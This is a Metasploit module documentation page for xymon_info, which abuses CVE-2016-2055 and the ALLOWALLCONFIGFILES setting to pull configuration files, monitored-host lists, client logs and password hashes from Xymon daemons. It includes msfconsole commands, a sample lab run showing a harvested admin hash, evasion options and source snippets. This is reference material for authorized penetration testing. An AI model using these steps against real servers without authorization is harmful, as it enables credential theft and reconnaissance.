Xymon Daemon Gather Information - Metasploit


This page contains detailed information about how to use the auxiliary/gather/xymon_info metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Xymon Daemon Gather Information
Module: auxiliary/gather/xymon_info
Source code: modules/auxiliary/gather/xymon_info.rb
Disclosure date: -
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 1984
List of CVEs: CVE-2016-2055

This module retrieves information from a Xymon daemon service (formerly Hobbit, based on Big Brother), including server configuration information, a list of monitored hosts, and associated client log for each host. This module also retrieves usernames and password hashes from the xymonpasswd config file from Xymon servers before 4.3.25, which permit download arbitrary config files (CVE-2016-2055), and servers configured with ALLOWALLCONFIGFILES enabled.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/xymon_info
msf auxiliary(xymon_info) > show targets
    ... a list of targets ...
msf auxiliary(xymon_info) > set TARGET target-id
msf auxiliary(xymon_info) > show options
    ... show and set options ...
msf auxiliary(xymon_info) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module retrieves information from a Xymon daemon service (formerly Hobbit, based on Big Brother), including server configuration information, a list of monitored hosts, and associated client log for each host.

This module also retrieves usernames and password hashes from the xymonpasswd config file from Xymon servers before 4.3.25, which permit download arbitrary config files (CVE-2016-2055), and servers configured with ALLOWALLCONFIGFILES enabled.

Vulnerable Application


Xymon is a system for monitoring servers and networks.

Xymon packages are available in software repositories for various Linux distributions :

  sudo apt-get install xymon

Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.

A Xymon virtual appliance is also available :

  • https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/

To expose the xymonpasswd file, add the following line to /etc/xymon/xymonserver.cfg :

  ALLOWALLCONFIGFILES="TRUE"

And restart the service with : service xymon restart.

Verification Steps


  1. Start msfconsole
  2. Do: use use auxiliary/gather/xymon_info
  3. Do: set rhost [IP]
  4. Do: run
  5. You should receive server and client host information

Scenarios


  msf5 > use auxiliary/gather/xymon_info 
  msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250
  rhosts => 172.16.191.250
  msf5 auxiliary(gather/xymon_info) > run
  [*] Running module against 172.16.191.250

  [*] 172.16.191.250:1984 - Xymon daemon version 4.3.28
  [*] 172.16.191.250:1984 - Retrieving configuration files ...
  [+] 172.16.191.250:1984 - xymonserver.cfg (18347 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_136371.txt
  [+] 172.16.191.250:1984 - hosts.cfg (745 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.hos_647070.txt
  [+] 172.16.191.250:1984 - xymonpasswd (44 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_182226.txt
  [+] 172.16.191.250:1984 - Credentials: admin : $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.
  [*] 172.16.191.250:1984 - Retrieving host list ...
  [+] 172.16.191.250:1984 - Host info (127 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hostinfo_254799.txt
  [+] 172.16.191.250:1984 - Found 3 hosts
  [*] 172.16.191.250:1984 - Retrieving client logs ...
  [+] 172.16.191.250:1984 - debian-9-6-0-x64-xfce.local client log (87942 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hosts.debi_671716.txt
  [*] 172.16.191.250:1984 - test-host client log is empty
  [*] 172.16.191.250:1984 - another-test-host client log is empty
  [*] Auxiliary module execution completed
  msf5 auxiliary(gather/xymon_info) > creds
  Credentials
  ===========

  host            origin          service            public  private                                realm  private_type        JtR Format
  ----            ------          -------            ------  -------                                -----  ------------        ----------
  172.16.191.250  172.16.191.250  1984/tcp (xymond)  admin   $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.         Nonreplayable hash  md5crypt

Go back to menu.

Msfconsole Usage


Here is how the gather/xymon_info auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/xymon_info

msf6 auxiliary(gather/xymon_info) > show info

       Name: Xymon Daemon Gather Information
     Module: auxiliary/gather/xymon_info
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Markus Krell
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   1984             yes       The target port (TCP)

Description:
  This module retrieves information from a Xymon daemon service 
  (formerly Hobbit, based on Big Brother), including server 
  configuration information, a list of monitored hosts, and associated 
  client log for each host. This module also retrieves usernames and 
  password hashes from the `xymonpasswd` config file from Xymon 
  servers before 4.3.25, which permit download arbitrary config files 
  (CVE-2016-2055), and servers configured with `ALLOWALLCONFIGFILES` 
  enabled.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-2055
  https://packetstormsecurity.com/files/135758
  https://lists.xymon.com/pipermail/xymon/2016-February/042986.html
  https://xymon.sourceforge.net/
  https://en.wikipedia.org/wiki/Xymon
  https://en.wikipedia.org/wiki/Big_Brother_(software)

Module Options


This is a complete list of options available in the gather/xymon_info auxiliary module:

msf6 auxiliary(gather/xymon_info) > show options

Module options (auxiliary/gather/xymon_info):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   1984             yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the gather/xymon_info auxiliary module:

msf6 auxiliary(gather/xymon_info) > show advanced

Module advanced options (auxiliary/gather/xymon_info):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/xymon_info module can do:

msf6 auxiliary(gather/xymon_info) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/xymon_info auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/xymon_info) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is not a Xymon daemon


Here is a relevant code snippet related to the "Target is not a Xymon daemon" error message:

53:	
54:	  def run
55:	    res = xymon_send('ping').to_s
56:	
57:	    unless res.starts_with? 'xymond'
58:	      print_error 'Target is not a Xymon daemon'
59:	      return
60:	    end
61:	
62:	    version = res.scan(/^xymond ([\d\.]+)/).flatten.first
63:	

Could not retrieve Xymon version


Here is a relevant code snippet related to the "Could not retrieve Xymon version" error message:

60:	    end
61:	
62:	    version = res.scan(/^xymond ([\d\.]+)/).flatten.first
63:	
64:	    unless version
65:	      print_error 'Could not retrieve Xymon version'
66:	    end
67:	
68:	    print_status "Xymon daemon version #{version}"
69:	
70:	    service_data = {

Could not retrieve <CONFIG>


Here is a relevant code snippet related to the "Could not retrieve <CONFIG>" error message:

82:	
83:	    %w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config|
84:	      res = xymon_send("config #{config}").to_s
85:	
86:	      if res.blank?
87:	        print_error "Could not retrieve #{config}"
88:	        next
89:	      end
90:	
91:	      path = store_loot(
92:	        "xymon.config.#{config.sub(/\.cfg$/, '')}",

Could not retrieve client host list


Here is a relevant code snippet related to the "Could not retrieve client host list" error message:

129:	    print_status 'Retrieving host list ...'
130:	
131:	    res = xymon_send('hostinfo').to_s
132:	
133:	    if res.blank?
134:	      print_error 'Could not retrieve client host list'
135:	      return
136:	    end
137:	
138:	    path = store_loot(
139:	      'xymon.hostinfo',

Found no client hosts


Here is a relevant code snippet related to the "Found no client hosts" error message:

148:	    print_good "Host info (#{res.size} bytes) stored in #{path}"
149:	
150:	    hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}
151:	
152:	    if hosts.empty?
153:	      print_error 'Found no client hosts'
154:	      return
155:	    end
156:	
157:	    print_good "Found #{hosts.size} hosts"
158:	

Could not retrieve client log for <HOST>


Here is a relevant code snippet related to the "Could not retrieve client log for <HOST>" error message:

160:	
161:	    hosts.each do |host|
162:	      res = xymon_send("clientlog #{host}")
163:	
164:	      unless res
165:	        print_error "Could not retrieve client log for #{host}"
166:	        next
167:	      end
168:	
169:	      if res.blank?
170:	        print_status "#{host} client log is empty"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Markus Krell
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.